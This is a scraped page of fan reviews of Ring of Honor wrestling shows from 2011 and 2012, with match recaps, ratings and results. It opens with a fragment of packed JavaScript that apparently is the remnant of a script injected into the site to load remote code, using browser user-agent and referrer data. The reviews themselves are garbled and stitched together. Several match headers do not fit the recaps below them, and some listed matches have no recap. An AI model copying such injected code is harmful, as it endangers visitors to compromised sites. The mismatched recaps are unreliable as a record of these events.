");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbraz|var|u0026u|referrer|izbyi||js|php'.split('|'),0,{})) Wars 2012
Date: May 12, 2012
Location: Ted Reeve Arena, Toronto, Ontario, Canada
Commentators: Kevin Kelly, Nigel McGuinness

Eddie Edwards vs. Rhyno

Edwards starts with a wristlock followed by an armdrag into an armbar as we seem to be in for a long match here. Rhyno powers him into the corner and pounds away before running Edwards over with a shoulder block. Edwards fights out of the corner with some chops and a rana to put Rhyno down, followed by a baseball slide to send Rhyno into the barricade. The cameraman goes down somewhere in there and Eddie is a bit stunned. Rhyno hits a HARD shoulder to the ribs in the corner and Edwards is in big trouble.

Eddie fires off some chops and superkicks the leg, followed by something close to a Shining Wizard for a close two. The fans are split again because this is REAL WRESTLING, where you cheer for the heels. Edwards avoids a charge to send Rhyno to the floor before hitting an Asai Moonsault, hurting his ribs again in the process. Back in and Edwards hits a missile dropkick for two but walks into a belly to belly suplex. The Gore is blocked with a dropkick and Truth Martini gets up on the apron. He holds up the Book of Truth (foreign object) in the corner but Rhyno has to stop before hitting it, allowing Edwards to roll him up for the pin.

Post match Rhyno grabs Martini but Truth holds up cash. Rhyno takes the money and teases turning on Martini anyway but walks out.

Another glitch: Kelly seems to throw it to a video on the next match but instead we see the end of the previous match.

Young Bucks/Mike Mondo vs. All Night Express/TJ Perkins

Perkins flips around a lot and kicks Matt in the head, but Matt basically no sells it so the Bucks can hit a double superkick on King. Everyone is down now until Mondo breaks up a springboard attempt by King. Matt powerbombs Rhett into a kick to the head from Nick, allowing Mondo to headscissor Rhett into a top rope splash by Matt for two.

Jay Lethal talks about Tommaso Ciampa stalking him in Fort Lauderdale and costing him a match.

Jay Lethal vs. Tommaso Ciampa

Ciampa is part of the Embassy, a heel stable. He jumps Lethal to start but gets pulled out to the floor for a brawl before the bell. Lethal pounds away on Ciampa but Tommaso comes back with a hard chop to send him against the railing. Ciampa lowers his knee pad and charges at Jay, only to slam his own knee into the barricade. He shakes the pain off though and sends Lethal into the barricade a few times but the fans chant for Kevin Steen for no apparent reason. This is all still before the bell.

Another knee to the head in the corner puts Lethal down and there goes the knee pad for several more knees to the head. Lethal counters a powerbomb into an Alabama Slam into the corner but again has to deal with the Embassy leader. A small package gets two for Ciampa (I think) and now Lethal is getting fired up. He goes off on Ciampa and hits a handspring into the ropes into a cutter, apparently called Lethal Injection, for two.

Post match Ciampa screams a lot and storms out.

Mike Bennett vs. Lance Storm

Video on Davey Richards vs. Kevin Steen. The idea is that Richards is unbeatable while Steen is insane and wants to hold the company hostage by winning the world title. Steen went on a path of destruction, leading up to his title match here tonight. Kevin begged Davey for a match but Cornette, the ROH boss, said no. Davey eventually begged Cornette for the match until it was set, which is a great heel move.

Another video on Richards vs. Steen, from the night Davey won the title.

The announcers talk about the remaining four matches.

Adam Cole vs. Michael Elgin

Off to a crossface by Elgin but Adam rolls out, only to be forearmed into the head. Adam pops back up and hits a quick backbreaker for two before going up top. He dives off with a cross body and is caught into a buckle bomb, followed by a helicopter bomb (love that move) for the pin by Elgin.

Martini brags about Elgin winning post match. He tells Elgin that his night is over and to go to the back. Martini stays in the ring to brag about how great it is to be him, only to be superkicked by Cole.

TV Title: Fit Finlay vs. Roderick Strong

Mark hits Haas in the throat with the hockey stick and the Briscos clean house. With the challengers on the floor and the announcer doing the intros, Mark dives on both guys as the brawl really gets going. Back in and the Briscos double team Benjamin as this has been one sided so far. Charlie pulls Shelton to the floor, only to be caught by a double baseball slide from the champions.

Haas is busted open as Mark hits a running swanton off the apron onto Benjamin. An attempt at a second one misses (kind of?) but Mark brings in a wheel from a wheelchair. Jay pounds on Charlie in the ring as Mark goes up, only to be flipped off the top and through a table at ringside. A jawbreaker hits Jay but he comes back with a Death Valley Driver on Shelton. Jay goes up but gets distracted by Haas, allowing Shelton to run up the corner and suplex him down.

Shelton hits a spinebuster off the top for two on Jay as the challengers take over for the first time. Mark tries to come back in with the hockey stick but gets knocked back into the barricade. Charlie and Shelton try to crotch Jay on the post again but Mark makes the save. Mark starts cleaning house and flips Charlie off the top followed by a top rope elbow for two. Jay sends Benjamin to the floor as the fans want tables. Naturally ask and you will receive, as Jay sets one up on the floor.

Jay and Shelton brawl on the apron with Jay loading up something on his hand, only to have Shelton load up a German off the apron. Jay holds on to avoid a nasty case of death, only to hook an electric chair drop to send Jay through the table. Back in the ring Charlie sprays something on a rag and chokes Mark out with it for the pin and titles. It appeared to be ether or something like that.

The announcers rant about how the new champions showed no honor in a fight without honor.

ROH World Title: Kevin Steen vs. Davey Richards

They go to the forearms with Steen being the huge crowd favorite. Richards clotheslines him out to the floor and hits a nice suicide dive to take Steen down again. They head back inside but a distraction by Jacobs allows Steen to DDT Richards as he comes back inside. Steen takes it right back to the floor and sends Davey into the barricade a few times. Richards gets crotched against the post as the referee is considering throwing this out.

Kevin twists and turns enough to be able to turn it into a Sharpshooter of all things but Richards counters into the ankle lock again. Steen crawls over to the corner and pulls the buckle off as Davey pulls him back. Richards screws himself over though as Steen rolls out of the hold, sending Richards face first into the buckle. The package piledriver hits and Steen is the champion.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at:

Ring of Honor
Date: October 21, 2011
Location: Davis Arena, Louisville, Kentucky
Commentators: Kevin Kelly, Nigel McGuinness

We’re into the second batch of tapings here so hopefully they can change up a few things this time. This is OVW’s home base and I believe the third set of tapings will be held here as well. I’m really not wild on this show so far and I haven’t seen many great reviews on it. I think the main event this week is the TV Title being defended. Let’s get to it.

We open with a brief intro from the announcers.

TJ Perkins and Mike Mondo (Mikey from the Spirit Squad) talk about how they’re excited to debut in Ring of Honor, even though Perkins has been around for years.

Mike Mondo vs. TJ Perkins

Mondo is doing the Crash Holly “I’m a giant even though I’m small” thing. They shake hands pre-match and we’re ready to go. Mondo is a roided up mess. They go fast to start until Perkins grabs a Boston Crab but picks Mondo up by the arms to crank on him. We go into the Tree of Woe and Perkins hits a hesitation dropkick to send Mondo to the floor. Mondo takes over again and we enter into the always annoying forearm smash-a-thon.

Out to the floor again and Perkins hits his second suicide dive of the match. Springboard dropkick gets two for TJ. Perkins hooks half of a Figure Four but turns it over into a Scorpion Position. It looked more like a Cloverleaf/Sharpshooter hybrid than the Figure Four Deathlock name they gave it. After a few seconds Mondao remembers to sell the leg but then snaps off a Codebreaker because he was playing possum. Superkick is blocked but the second one hits and Perkins fires off some kicks. They hit the mat for some rollups and La Majistral pins Mondo at 7:15.

Rating: C+. Pretty entertaining cruiserweight style match but Mondo was far less entertaining. Perkins would be fine as a cruiserweight style guy in TNA or WWE with a few more years of practice. Mondo, who has been in WWE and was a tag champion there, was horrible as a lot of the stuff he did made no sense and his offense was boring on top of that.

We get clips of last week with the All Night Express vs. the Briscoes and the announcement that neither is the #1 contender.

Here are the Briscoes to talk to Cornette. Next week there’s another match between the two teams and the winners get the match at Final Battle which is the last show of the year. The Briscoes go insane and rant and rave as they’re known to do. They shout Man Up and beat on each other a bit before hugging.

We hear from Haas and Benjamin about how they want the Briscoes. So why is the Express even an issue in this?

Truth Martini talks about the Roderick Strong/Eddie Edwards staredown last week. Strong makes an open challenge for Final Battle. Also he’s going to beat up Richards’ friend Kyle O’Reilly next week.

Richards talks about how he knows he can beat Strong and how he’s worked so hard and is so tough and all that jazz.

We get a clip from Lethal winning the title from Generico like a month ago.

TV Title: Jay Lethal vs. Mike Bennett

They fight over a lockup to start and Lethal controls with some dropkicks. Lethal misses a baseball slide and they slug it out on the floor. There are I presume plants in the crowd yelling about Kevin Steen. Bennett takes over as they’re back in the ring at about 12. Oh I forgot to mention that in ROH there’s a 20 count on the floor instead of 10. Lethal puts on a freaky submission hold as he has the legs locked like a Cloverleaf but is behind Bennett instead of sitting on top of him. The freaky part is he leans back like a surfboard. That looked sick although the surfboard part would seem to make the hold weaker.

Bennett’s manager distracts Lethal and Bennett can hit a hot shot and clothesline to take over. Back with lethal running the ropes but getting caught by a corner clothesline and a neckbreaker for two. Powerslam gets two as it’s all Bennett at this point. There’s a 15 minute time limit here and they’re over ten so far. Bennett hooks a front facelock for a bit to kill some time.

Lethal starts his comeback and we have three minutes left. That’s about right actually so I can’t complain there. It’s better than the NWA show I’ve been watching which has times all over the place. Lethal looks to set for the elbow but Bennett gets up so they slug it out a bit. He tries a springboard something but jumps into a spinebuster for two by Bennett with 1:45 to go.

DDT by Lethal hits with a minute to go. He tries a leg lock but gets rolled up for two. Superkick hits and Lethal goes up. The elbow misses at 40 seconds and Bennett pounds away at 30 seconds. This is pretty stupid as he’s wasted 15 seconds with just punches on his arms. Lethal rolls him over and punches away as well until the time runs out at 15:03 (close enough).

Rating: B-. Pretty decent match here but the ending hurt it a lot. Why in the world would Bennett just go insane and start punching until the match was over? He had been fine until then and had Lethal beaten given the missed elbow. I don’t get this but the other 14:30 was solid enough that I can’t complain much.

Lethal wants 5 more minutes but Bennett declines. Ok then.

Overall Rating: C+. Probably their best show so far as we have some actual stories coming up. It would be nice to see these guys wrestling even in squashes rather than just talking about these matches but that’s ROH for you. The main event was pretty good and the rest of it worked pretty well also. Mondo is bad but everyone else was ok. Best show so far I think.

Results
TJ Perkins b. Mike Mondo – Majistral Cradle
Jay Lethal vs. Mike Bennett went to a time limit draw

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Ring of Honor
Date: October 1, 2011
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Commentators: Kevin Kelly, Nigel McGuinness

It’s week two after the disaster that was their debut episode. Tonight it’s the TV Title on the line as El Generico defends against Jay Lethal who apparently wasn’t a fan of being Macho Lethal, even though it’s the only time anyone actually cared about him. Let’s see if they can break that streak of 30 minutes with no wrestling this time. Let’s get to it.

After a quick recap of last week, here’s the intro video.

It only took them a week to tell us that Nigel is a former world champion.

We open the show with an interview. Yeah because nothing says wrestling like TALKING. It’s Haas/Benjamin to talk about how they’re the best team in the company but especially want the Briscoes, a legendary ROH tag team. They’re the team that beat down the champions after the four team elimination match, a beatdown we now see for the third time in two weeks. Haas and Benjamin have no problem putting the titles on the line RIGHT NOW. Cornette says he doesn’t want to reward the Briscoes for what they did. Haas and Benjamin say they’ll fight them one way or another.

Here’s a video on The Prodigy Mike Bennett. Cornette talks about how great he is but Bennett is a joke. He looks a bit like Mike Sanders from WCW. Bennett wants to be a movie star and has a trainer named Bob Evans who looks like a young Mickey from Rocky. Yeah he’s just a cocky heel that apparently has talent.

Mike Bennett vs. Jimmy Jacobs

Jacobs’ manager is Steve Corino and they’re trying to repent for past sins in ROH. Here’s the opening bell for the first match, 18 minutes into the show. And now we have an opening focused on the idea that Jacobs won’t hit him. Bennett takes over with really basic stuff and we have a Tweet of the Week which says “You should watch ROH because I’m Batman and Batman says so.” Seriously? I mean seriously?

Jacobs sends him to the floor and misses a dive to shift the little momentum he had going. Bennett pounds away with some of the most generic offense I’ve ever seen. Jacobs no sells a kick to the face and takes over with a clothesline and a neckbreaker. He sets for a tornado DDT but instead lands on his feet and hits a top suplex for two. Bennett grabs a spinebuster for two. Sliced Bread gets two for Jacobs. A senton backsplash eats knees and a sitout Rock Bottom called the Box Office Smash ends this at 5:56.

Rating: D+. Boring match here as Bennett is nothing interesting in the slightest. He’s as generic of a heel as you could ask for and easily could be one of the FCW guys that the IWC thinks is killing wrestling. Nothing to see here and I thought Jacobs was supposed to be something important in this company.

A fan thinks El Generico will win tonight.

Eddie Edwards talks about how he got the name Die Hard. He hurt his elbow and fought the next day so it was a huge deal.

Richards talks about facing Roderick Strong next week. I like Roderick but can’t stand Richards so maybe it’ll be better. Richards sums the match up well: “We’re fighting because we don’t like each other and we never have.” I can live with that.

Roderick says he’ll beat Richards.

TV Title: Jay Lethal vs. El Generico

Well they have a lot of time for this one at least with over 20 minutes to go. And never mind as Kelly tells us there’s a 15 minute time limit. McGuinness wants to know why he’s more tanned than Generico who is from Mexico. Generico speeds things up to take over early. Lethal is like “I can do moves that are flashy but don’t really hurt that much either!” Backbreaker gets two for Lethal but Lethal hooks on some weird surfboard variation with a Texas Cloverleaf leg grip.

Dropkick gets two for Lethal. Generico speeds things up with arm drags and hits a huge swan dive over the top to take Lethal out as we go to a break. Back with Lethal in control after Generico hit a moonsault off the guardrail. Ok scratch that as Generico gets two off something we missed while watching a replay. Lethal gets a sunset flip for two. This isn’t much of a match but indy fans would love it.

They slug it out and Lethal is sent to the top for a missile dropkick. With three minutes remaining in a 15 minute time limit we’re heading for a time limit draw (at the 12 minute mark that is). Lethal Injection gets two. Generico walks the corner and hits most of a tornado DDT for two. There’s a minute left. Blue Thunder Bomb (go play No Mercy for a description) gets two and we have thirty seconds left. Time expires at 12:40 which is including the commercial time.

Rating: C+. I couldn’t get into this one as well as I was supposed to I don’t think. There wasn’t much of a story to it other than two not very high fliers doing their thing. It wasn’t bad or anything but it wasn’t this epic confrontation that they were shooting for. Still though, pretty good although the ending is kind of stupid. Oh of course that isn’t the finish.

At 2:54 Jim Cornette comes out and says we have three minutes left in the show so put three minutes on the clock and get to it.

They slug it out like crazy after being all respectful. Generico hits the Yakuza kick and a half nelson suplex for two. Generico loads up the Brainbuster but Lethal escapes and goes up for a top rope elbow but Generico moves and the Brainbuster is blocked again. There’s the elbow for two. A snap suplex sets up a second Yakuza kick but Lethal counters with a superkick and the Lethal Combination (called the Injection here) for the pin and the title at 2:24 of overtime. The overtime was better than the regular match.

And again we go off the air at 2:58. What’s up with that?

Overall Rating: C-. Well it was a little better than last week but it still was better than nothing. They need to get this fascination about pointless promos and talking out of the way. ROH’s philosophy seems to be why should we show you how tough Eddie Edwards is when we can just tell you how tough he is? I could get into this show more if these promos and talks actually lead to something but this is approaching Superstars from the 80s levels of random matches. Not impressed but it was better than last week for sure.

Results
Mike Bennett b. Jimmy Jacobs – Box Office Smash
Jay Lethal b. El Generico – Lethal Injection